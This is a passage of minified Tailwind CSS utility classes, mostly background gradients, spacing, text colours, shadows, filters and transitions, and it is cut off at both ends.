oklab,var(--color-red-900)80%,transparent)}}.bg-transparent{background-color:#0000}.bg-white{background-color:var(--color-white)}.bg-white\/5{background-color:#ffffff0d}@supports (color:color-mix(in lab,red,red)){.bg-white\/5{background-color:color-mix(in oklab,var(--color-white)5%,transparent)}}.bg-white\/10{background-color:#ffffff1a}@supports (color:color-mix(in lab,red,red)){.bg-white\/10{background-color:color-mix(in oklab,var(--color-white)10%,transparent)}}.bg-white\/20{background-color:#fff3}@supports (color:color-mix(in lab,red,red)){.bg-white\/20{background-color:color-mix(in oklab,var(--color-white)20%,transparent)}}.bg-yellow-500\/20{background-color:#edb20033}@supports (color:color-mix(in lab,red,red)){.bg-yellow-500\/20{background-color:color-mix(in oklab,var(--color-yellow-500)20%,transparent)}}.bg-gradient-to-br{--tw-gradient-position:to bottom right in oklab;background-image:linear-gradient(var(--tw-gradient-stops))}.bg-gradient-to-r{--tw-gradient-position:to right in oklab;background-image:linear-gradient(var(--tw-gradient-stops))}.from-\[\#0f2137\]{--tw-gradient-from:#0f2137;--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.from-\[\#00CED1\]{--tw-gradient-from:#00ced1;--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.from-\[\#38bdac\]\/10{--tw-gradient-from:oklab(72.378% -.11483 -.0053193/.1);--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.from-blue-500\/20{--tw-gradient-from:#3080ff33}@supports (color:color-mix(in lab,red,red)){.from-blue-500\/20{--tw-gradient-from:color-mix(in oklab,var(--color-blue-500)20%,transparent)}}.from-blue-500\/20{--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.from-cyan-500\/20{--tw-gradient-from:#00b7d733}@supports (color:color-mix(in lab,red,red)){.from-cyan-500\/20{--tw-gradient-from:color-mix(in oklab,var(--color-cyan-500)20%,transparent)}}.from-cyan-500\/20{--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.from-green-500\/20{--tw-gradient-from:#00c75833}@supports (color:color-mix(in lab,red,red)){.from-green-500\/20{--tw-gradient-from:color-mix(in oklab,var(--color-green-500)20%,transparent)}}.from-green-500\/20{--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.from-purple-500\/20{--tw-gradient-from:#ac4bff33}@supports (color:color-mix(in lab,red,red)){.from-purple-500\/20{--tw-gradient-from:color-mix(in oklab,var(--color-purple-500)20%,transparent)}}.from-purple-500\/20{--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.from-yellow-500\/20{--tw-gradient-from:#edb20033}@supports (color:color-mix(in lab,red,red)){.from-yellow-500\/20{--tw-gradient-from:color-mix(in oklab,var(--color-yellow-500)20%,transparent)}}.from-yellow-500\/20{--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.via-\[\#38bdac\]\/30{--tw-gradient-via:oklab(72.378% -.11483 -.0053193/.3);--tw-gradient-via-stops:var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-via)var(--tw-gradient-via-position),var(--tw-gradient-to)var(--tw-gradient-to-position);--tw-gradient-stops:var(--tw-gradient-via-stops)}.to-\[\#0f2137\]{--tw-gradient-to:#0f2137;--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.to-\[\#20B2AA\]{--tw-gradient-to:#20b2aa;--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.to-\[\#162d4a\]{--tw-gradient-to:#162d4a;--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.to-amber-500\/20{--tw-gradient-to:#f99c0033}@supports (color:color-mix(in lab,red,red)){.to-amber-500\/20{--tw-gradient-to:color-mix(in oklab,var(--color-amber-500)20%,transparent)}}.to-amber-500\/20{--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.to-cyan-500\/5{--tw-gradient-to:#00b7d70d}@supports (color:color-mix(in lab,red,red)){.to-cyan-500\/5{--tw-gradient-to:color-mix(in oklab,var(--color-cyan-500)5%,transparent)}}.to-cyan-500\/5{--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.to-green-500\/5{--tw-gradient-to:#00c7580d}@supports (color:color-mix(in lab,red,red)){.to-green-500\/5{--tw-gradient-to:color-mix(in oklab,var(--color-green-500)5%,transparent)}}.to-green-500\/5{--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.to-purple-500\/5{--tw-gradient-to:#ac4bff0d}@supports (color:color-mix(in lab,red,red)){.to-purple-500\/5{--tw-gradient-to:color-mix(in oklab,var(--color-purple-500)5%,transparent)}}.to-purple-500\/5{--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.to-yellow-500\/5{--tw-gradient-to:#edb2000d}@supports (color:color-mix(in lab,red,red)){.to-yellow-500\/5{--tw-gradient-to:color-mix(in oklab,var(--color-yellow-500)5%,transparent)}}.to-yellow-500\/5{--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.bg-repeat{background-repeat:repeat}.mask-no-clip{-webkit-mask-clip:no-clip;mask-clip:no-clip}.mask-repeat{-webkit-mask-repeat:repeat;mask-repeat:repeat}.fill-amber-400{fill:var(--color-amber-400)}.fill-current{fill:currentColor}.object-cover{object-fit:cover}.p-0{padding:calc(var(--spacing)*0)}.p-1{padding:calc(var(--spacing)*1)}.p-2{padding:calc(var(--spacing)*2)}.p-2\.5{padding:calc(var(--spacing)*2.5)}.p-3{padding:calc(var(--spacing)*3)}.p-4{padding:calc(var(--spacing)*4)}.p-5{padding:calc(var(--spacing)*5)}.p-6{padding:calc(var(--spacing)*6)}.p-8{padding:calc(var(--spacing)*8)}.px-0{padding-inline:calc(var(--spacing)*0)}.px-1{padding-inline:calc(var(--spacing)*1)}.px-1\.5{padding-inline:calc(var(--spacing)*1.5)}.px-2{padding-inline:calc(var(--spacing)*2)}.px-3{padding-inline:calc(var(--spacing)*3)}.px-4{padding-inline:calc(var(--spacing)*4)}.px-5{padding-inline:calc(var(--spacing)*5)}.px-6{padding-inline:calc(var(--spacing)*6)}.py-0\.5{padding-block:calc(var(--spacing)*.5)}.py-1{padding-block:calc(var(--spacing)*1)}.py-1\.5{padding-block:calc(var(--spacing)*1.5)}.py-2{padding-block:calc(var(--spacing)*2)}.py-2\.5{padding-block:calc(var(--spacing)*2.5)}.py-3{padding-block:calc(var(--spacing)*3)}.py-4{padding-block:calc(var(--spacing)*4)}.py-5{padding-block:calc(var(--spacing)*5)}.py-6{padding-block:calc(var(--spacing)*6)}.py-8{padding-block:calc(var(--spacing)*8)}.py-10{padding-block:calc(var(--spacing)*10)}.py-12{padding-block:calc(var(--spacing)*12)}.py-16{padding-block:calc(var(--spacing)*16)}.py-20{padding-block:calc(var(--spacing)*20)}.pt-0{padding-top:calc(var(--spacing)*0)}.pt-1{padding-top:calc(var(--spacing)*1)}.pt-2{padding-top:calc(var(--spacing)*2)}.pt-3{padding-top:calc(var(--spacing)*3)}.pt-4{padding-top:calc(var(--spacing)*4)}.pt-5{padding-top:calc(var(--spacing)*5)}.pt-6{padding-top:calc(var(--spacing)*6)}.pr-1{padding-right:calc(var(--spacing)*1)}.pr-2{padding-right:calc(var(--spacing)*2)}.pr-4{padding-right:calc(var(--spacing)*4)}.pb-1{padding-bottom:calc(var(--spacing)*1)}.pb-2{padding-bottom:calc(var(--spacing)*2)}.pb-3{padding-bottom:calc(var(--spacing)*3)}.pb-4{padding-bottom:calc(var(--spacing)*4)}.pl-2{padding-left:calc(var(--spacing)*2)}.pl-4{padding-left:calc(var(--spacing)*4)}.pl-8{padding-left:calc(var(--spacing)*8)}.pl-10{padding-left:calc(var(--spacing)*10)}.text-center{text-align:center}.text-left{text-align:left}.text-right{text-align:right}.align-middle{vertical-align:middle}.font-mono{font-family:var(--font-mono)}.text-2xl{font-size:var(--text-2xl);line-height:var(--tw-leading,var(--text-2xl--line-height))}.text-3xl{font-size:var(--text-3xl);line-height:var(--tw-leading,var(--text-3xl--line-height))}.text-4xl{font-size:var(--text-4xl);line-height:var(--tw-leading,var(--text-4xl--line-height))}.text-base{font-size:var(--text-base);line-height:var(--tw-leading,var(--text-base--line-height))}.text-lg{font-size:var(--text-lg);line-height:var(--tw-leading,var(--text-lg--line-height))}.text-sm{font-size:var(--text-sm);line-height:var(--tw-leading,var(--text-sm--line-height))}.text-xl{font-size:var(--text-xl);line-height:var(--tw-leading,var(--text-xl--line-height))}.text-xs{font-size:var(--text-xs);line-height:var(--tw-leading,var(--text-xs--line-height))}.text-\[10px\]{font-size:10px}.text-\[11px\]{font-size:11px}.leading-6{--tw-leading:calc(var(--spacing)*6);line-height:calc(var(--spacing)*6)}.leading-none{--tw-leading:1;line-height:1}.leading-relaxed{--tw-leading:var(--leading-relaxed);line-height:var(--leading-relaxed)}.leading-tight{--tw-leading:var(--leading-tight);line-height:var(--leading-tight)}.font-bold{--tw-font-weight:var(--font-weight-bold);font-weight:var(--font-weight-bold)}.font-medium{--tw-font-weight:var(--font-weight-medium);font-weight:var(--font-weight-medium)}.font-normal{--tw-font-weight:var(--font-weight-normal);font-weight:var(--font-weight-normal)}.font-semibold{--tw-font-weight:var(--font-weight-semibold);font-weight:var(--font-weight-semibold)}.tracking-tight{--tw-tracking:var(--tracking-tight);letter-spacing:var(--tracking-tight)}.tracking-wider{--tw-tracking:var(--tracking-wider);letter-spacing:var(--tracking-wider)}.text-wrap{text-wrap:wrap}.break-words{overflow-wrap:break-word}.break-all{word-break:break-all}.text-clip{text-overflow:clip}.text-ellipsis{text-overflow:ellipsis}.whitespace-nowrap{white-space:nowrap}.whitespace-pre-wrap{white-space:pre-wrap}.text-\[\#00CED1\]{color:#00ced1}.text-\[\#07C160\]{color:#07c160}.text-\[\#07C160\]\/60{color:#07c16099}.text-\[\#07C160\]\/70{color:#07c160b3}.text-\[\#07C160\]\/80{color:#07c160cc}.text-\[\#26A17B\]{color:#26a17b}.text-\[\#38bdac\]{color:#38bdac}.text-\[\#38bdac\]\/30{color:#38bdac4d}.text-\[\#38bdac\]\/40{color:#38bdac66}.text-\[\#169BD7\]{color:#169bd7}.text-\[\#1677FF\]{color:#1677ff}.text-\[\#FFD700\]{color:gold}.text-amber-200{color:var(--color-amber-200)}.text-amber-200\/80{color:#fee685cc}@supports (color:color-mix(in lab,red,red)){.text-amber-200\/80{color:color-mix(in oklab,var(--color-amber-200)80%,transparent)}}.text-amber-300{color:var(--color-amber-300)}.text-amber-400{color:var(--color-amber-400)}.text-amber-400\/30{color:#fcbb004d}@supports (color:color-mix(in lab,red,red)){.text-amber-400\/30{color:color-mix(in oklab,var(--color-amber-400)30%,transparent)}}.text-amber-400\/80{color:#fcbb00cc}@supports (color:color-mix(in lab,red,red)){.text-amber-400\/80{color:color-mix(in oklab,var(--color-amber-400)80%,transparent)}}.text-amber-400\/90{color:#fcbb00e6}@supports (color:color-mix(in lab,red,red)){.text-amber-400\/90{color:color-mix(in oklab,var(--color-amber-400)90%,transparent)}}.text-black{color:var(--color-black)}.text-blue-300{color:var(--color-blue-300)}.text-blue-300\/60{color:#90c5ff99}@supports (color:color-mix(in lab,red,red)){.text-blue-300\/60{color:color-mix(in oklab,var(--color-blue-300)60%,transparent)}}.text-blue-400{color:var(--color-blue-400)}.text-blue-400\/60{color:#54a2ff99}@supports (color:color-mix(in lab,red,red)){.text-blue-400\/60{color:color-mix(in oklab,var(--color-blue-400)60%,transparent)}}.text-cyan-400{color:var(--color-cyan-400)}.text-emerald-400{color:var(--color-emerald-400)}.text-gray-200{color:var(--color-gray-200)}.text-gray-300{color:var(--color-gray-300)}.text-gray-400{color:var(--color-gray-400)}.text-gray-500{color:var(--color-gray-500)}.text-gray-600{color:var(--color-gray-600)}.text-gray-700{color:var(--color-gray-700)}.text-green-300{color:var(--color-green-300)}.text-green-400{color:var(--color-green-400)}.text-green-400\/90{color:#05df72e6}@supports (color:color-mix(in lab,red,red)){.text-green-400\/90{color:color-mix(in oklab,var(--color-green-400)90%,transparent)}}.text-green-500{color:var(--color-green-500)}.text-orange-300{color:var(--color-orange-300)}.text-orange-300\/60{color:#ffb96d99}@supports (color:color-mix(in lab,red,red)){.text-orange-300\/60{color:color-mix(in oklab,var(--color-orange-300)60%,transparent)}}.text-orange-400{color:var(--color-orange-400)}.text-orange-400\/60{color:#ff8b1a99}@supports (color:color-mix(in lab,red,red)){.text-orange-400\/60{color:color-mix(in oklab,var(--color-orange-400)60%,transparent)}}.text-orange-400\/70{color:#ff8b1ab3}@supports (color:color-mix(in lab,red,red)){.text-orange-400\/70{color:color-mix(in oklab,var(--color-orange-400)70%,transparent)}}.text-orange-400\/80{color:#ff8b1acc}@supports (color:color-mix(in lab,red,red)){.text-orange-400\/80{color:color-mix(in oklab,var(--color-orange-400)80%,transparent)}}.text-purple-400{color:var(--color-purple-400)}.text-red-100{color:var(--color-red-100)}.text-red-300{color:var(--color-red-300)}.text-red-400{color:var(--color-red-400)}.text-rose-400{color:var(--color-rose-400)}.text-sky-300{color:var(--color-sky-300)}.text-white{color:var(--color-white)}.text-white\/40{color:#fff6}@supports (color:color-mix(in lab,red,red)){.text-white\/40{color:color-mix(in oklab,var(--color-white)40%,transparent)}}.text-white\/60{color:#fff9}@supports (color:color-mix(in lab,red,red)){.text-white\/60{color:color-mix(in oklab,var(--color-white)60%,transparent)}}.text-white\/70{color:#ffffffb3}@supports (color:color-mix(in lab,red,red)){.text-white\/70{color:color-mix(in oklab,var(--color-white)70%,transparent)}}.text-white\/80{color:#fffc}@supports (color:color-mix(in lab,red,red)){.text-white\/80{color:color-mix(in oklab,var(--color-white)80%,transparent)}}.text-yellow-400{color:var(--color-yellow-400)}.text-yellow-400\/60{color:#fac80099}@supports (color:color-mix(in lab,red,red)){.text-yellow-400\/60{color:color-mix(in oklab,var(--color-yellow-400)60%,transparent)}}.text-yellow-500\/70{color:#edb200b3}@supports (color:color-mix(in lab,red,red)){.text-yellow-500\/70{color:color-mix(in oklab,var(--color-yellow-500)70%,transparent)}}.capitalize{text-transform:capitalize}.lowercase{text-transform:lowercase}.normal-case{text-transform:none}.uppercase{text-transform:uppercase}.italic{font-style:italic}.italic\!{font-style:italic!important}.not-italic{font-style:normal}.diagonal-fractions{--tw-numeric-fraction:diagonal-fractions;font-variant-numeric:var(--tw-ordinal,)var(--tw-slashed-zero,)var(--tw-numeric-figure,)var(--tw-numeric-spacing,)var(--tw-numeric-fraction,)}.lining-nums{--tw-numeric-figure:lining-nums;font-variant-numeric:var(--tw-ordinal,)var(--tw-slashed-zero,)var(--tw-numeric-figure,)var(--tw-numeric-spacing,)var(--tw-numeric-fraction,)}.oldstyle-nums{--tw-numeric-figure:oldstyle-nums;font-variant-numeric:var(--tw-ordinal,)var(--tw-slashed-zero,)var(--tw-numeric-figure,)var(--tw-numeric-spacing,)var(--tw-numeric-fraction,)}.ordinal{--tw-ordinal:ordinal;font-variant-numeric:var(--tw-ordinal,)var(--tw-slashed-zero,)var(--tw-numeric-figure,)var(--tw-numeric-spacing,)var(--tw-numeric-fraction,)}.proportional-nums{--tw-numeric-spacing:proportional-nums;font-variant-numeric:var(--tw-ordinal,)var(--tw-slashed-zero,)var(--tw-numeric-figure,)var(--tw-numeric-spacing,)var(--tw-numeric-fraction,)}.slashed-zero{--tw-slashed-zero:slashed-zero;font-variant-numeric:var(--tw-ordinal,)var(--tw-slashed-zero,)var(--tw-numeric-figure,)var(--tw-numeric-spacing,)var(--tw-numeric-fraction,)}.stacked-fractions{--tw-numeric-fraction:stacked-fractions;font-variant-numeric:var(--tw-ordinal,)var(--tw-slashed-zero,)var(--tw-numeric-figure,)var(--tw-numeric-spacing,)var(--tw-numeric-fraction,)}.tabular-nums{--tw-numeric-spacing:tabular-nums;font-variant-numeric:var(--tw-ordinal,)var(--tw-slashed-zero,)var(--tw-numeric-figure,)var(--tw-numeric-spacing,)var(--tw-numeric-fraction,)}.normal-nums{font-variant-numeric:normal}.line-through{text-decoration-line:line-through}.no-underline{text-decoration-line:none}.overline{text-decoration-line:overline}.underline{text-decoration-line:underline}.underline\!{text-decoration-line:underline!important}.underline-offset-4{text-underline-offset:4px}.antialiased{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.subpixel-antialiased{-webkit-font-smoothing:auto;-moz-osx-font-smoothing:auto}.accent-\[\#38bdac\]{accent-color:#38bdac}.opacity-0{opacity:0}.opacity-50{opacity:.5}.opacity-55{opacity:.55}.opacity-60{opacity:.6}.opacity-70{opacity:.7}.shadow{--tw-shadow:0 1px 3px 0 var(--tw-shadow-color,#0000001a),0 1px 2px -1px var(--tw-shadow-color,#0000001a);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.shadow-lg{--tw-shadow:0 10px 15px -3px var(--tw-shadow-color,#0000001a),0 4px 6px -4px var(--tw-shadow-color,#0000001a);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.shadow-md{--tw-shadow:0 4px 6px -1px var(--tw-shadow-color,#0000001a),0 2px 4px -2px var(--tw-shadow-color,#0000001a);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.shadow-sm{--tw-shadow:0 1px 3px 0 var(--tw-shadow-color,#0000001a),0 1px 2px -1px var(--tw-shadow-color,#0000001a);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.shadow-xl{--tw-shadow:0 20px 25px -5px var(--tw-shadow-color,#0000001a),0 8px 10px -6px var(--tw-shadow-color,#0000001a);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.shadow-xs{--tw-shadow:0 1px 2px 0 var(--tw-shadow-color,#0000000d);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.ring-0{--tw-ring-shadow:var(--tw-ring-inset,)0 0 0 calc(0px + var(--tw-ring-offset-width))var(--tw-ring-color,currentcolor);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.ring-1{--tw-ring-shadow:var(--tw-ring-inset,)0 0 0 calc(1px + var(--tw-ring-offset-width))var(--tw-ring-color,currentcolor);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.ring-2{--tw-ring-shadow:var(--tw-ring-inset,)0 0 0 calc(2px + var(--tw-ring-offset-width))var(--tw-ring-color,currentcolor);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.inset-ring{--tw-inset-ring-shadow:inset 0 0 0 1px var(--tw-inset-ring-color,currentcolor);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.shadow-\[\#38bdac\]\/20{--tw-shadow-color:#38bdac33}@supports (color:color-mix(in lab,red,red)){.shadow-\[\#38bdac\]\/20{--tw-shadow-color:color-mix(in oklab,oklab(72.378% -.11483 -.0053193/.2) var(--tw-shadow-alpha),transparent)}}.shadow-\[\#38bdac\]\/30{--tw-shadow-color:#38bdac4d}@supports (color:color-mix(in lab,red,red)){.shadow-\[\#38bdac\]\/30{--tw-shadow-color:color-mix(in oklab,oklab(72.378% -.11483 -.0053193/.3) var(--tw-shadow-alpha),transparent)}}.ring-\[\#38bdac\]{--tw-ring-color:#38bdac}.ring-\[\#38bdac\]\/40{--tw-ring-color:oklab(72.378% -.11483 -.0053193/.4)}.ring-\[\#38bdac\]\/50{--tw-ring-color:oklab(72.378% -.11483 -.0053193/.5)}.outline{outline-style:var(--tw-outline-style);outline-width:1px}.blur{--tw-blur:blur(8px);filter:var(--tw-blur,)var(--tw-brightness,)var(--tw-contrast,)var(--tw-grayscale,)var(--tw-hue-rotate,)var(--tw-invert,)var(--tw-saturate,)var(--tw-sepia,)var(--tw-drop-shadow,)}.blur-3xl{--tw-blur:blur(var(--blur-3xl));filter:var(--tw-blur,)var(--tw-brightness,)var(--tw-contrast,)var(--tw-grayscale,)var(--tw-hue-rotate,)var(--tw-invert,)var(--tw-saturate,)var(--tw-sepia,)var(--tw-drop-shadow,)}.drop-shadow{--tw-drop-shadow-size:drop-shadow(0 1px 2px var(--tw-drop-shadow-color,#0000001a))drop-shadow(0 1px 1px var(--tw-drop-shadow-color,#0000000f));--tw-drop-shadow:drop-shadow(0 1px 2px #0000001a)drop-shadow(0 1px 1px #0000000f);filter:var(--tw-blur,)var(--tw-brightness,)var(--tw-contrast,)var(--tw-grayscale,)var(--tw-hue-rotate,)var(--tw-invert,)var(--tw-saturate,)var(--tw-sepia,)var(--tw-drop-shadow,)}.filter{filter:var(--tw-blur,)var(--tw-brightness,)var(--tw-contrast,)var(--tw-grayscale,)var(--tw-hue-rotate,)var(--tw-invert,)var(--tw-saturate,)var(--tw-sepia,)var(--tw-drop-shadow,)}.filter\!{filter:var(--tw-blur,)var(--tw-brightness,)var(--tw-contrast,)var(--tw-grayscale,)var(--tw-hue-rotate,)var(--tw-invert,)var(--tw-saturate,)var(--tw-sepia,)var(--tw-drop-shadow,)!important}.backdrop-blur{--tw-backdrop-blur:blur(8px);-webkit-backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,);backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,)}.backdrop-blur-xl{--tw-backdrop-blur:blur(var(--blur-xl));-webkit-backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,);backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,)}.backdrop-grayscale{--tw-backdrop-grayscale:grayscale(100%);-webkit-backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,);backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,)}.backdrop-invert{--tw-backdrop-invert:invert(100%);-webkit-backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,);backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,)}.backdrop-sepia{--tw-backdrop-sepia:sepia(100%);-webkit-backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,);backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,)}.backdrop-filter{-webkit-backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,);backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,)}.transition{transition-property:color,background-color,border-color,outline-color,text-decoration-color,fill,stroke,--tw-gradient-from,--tw-gradient-via,--tw-gradient-to,opacity,box-shadow,transform,translate,scale,rotate,filter,-webkit-backdrop-filter,backdrop-filter,display,content-visibility,overlay,pointer-events;transition-timing-function:var(--tw-ease,var(--default-transition-timing-function));transition-duration:var(--tw-duration,var(--default-transition-duration))}.transition\!{transition-property:color,background-color,border-color,outline-color,text-decoration-color,fill,stroke,--tw-gradient-from,--tw-gradient-via,--tw-gradient-to,opacity,box-shadow,transform,translate,scale,rotate,filter,-webkit-backdrop-filter,backdrop-filter,display,content-visibility,overlay,pointer-events!important;transition-timing-function:var(--tw-ease,var(--default-transition-timing-function))!important;transition-duration:var(--tw-duration,var(--default-transition-duration))!important}.transition-all{transition-property:all;transition-timing-function:var(--tw-ease,var(--default-transition-timing-function));transition-duration:var(--tw-duration,var(--default-transition-duration))}.transition-colors{transition-property:color,background-color,border-color,outline-color,text-decoration-color,fill,stroke,--tw-gradient-from,--tw-gradient-via,--tw-gradient-to;transition-timing-function:var(--tw-ease,var(--default-transition-timing-function));transition-duration:var(--tw-duration,var(--default-transition-duration))}.transition-opacity{transition-property:opacity;transition-timing-function:var(--tw-ease,var(--default-transition-timing-function));transition-duration:var(--tw-duration,var(--default-transition-duration))}.transition-transform{transition-property:transform,translate,scale,rotate;transition-timing-function:var(--tw-ease,var(--default-transition-timing-function));transition-duration:var(--tw-duration,var(--default-transition-duration))}.duration-200{--tw-duration:.2s;transition-duration:.2s}.outline-none{--tw-outline-style:none;outline-style:none}.select-none{-webkit-user-select:none;user-select:none}:where(.divide-x-reverse>:not(:last-child)){--tw-divide-x-reverse:1}.ring-inset{--tw-ring-inset:inset}@media(hover:hover){.group-hover\:text-\[\#38bdac\]:is(:where(.group):hover *){color:#38bdac}.group-hover\:text-gray-400:is(:where(.group):hover *){color:var(--color-gray-400)}.group-hover\:opacity-100:is(:where(.group):hover 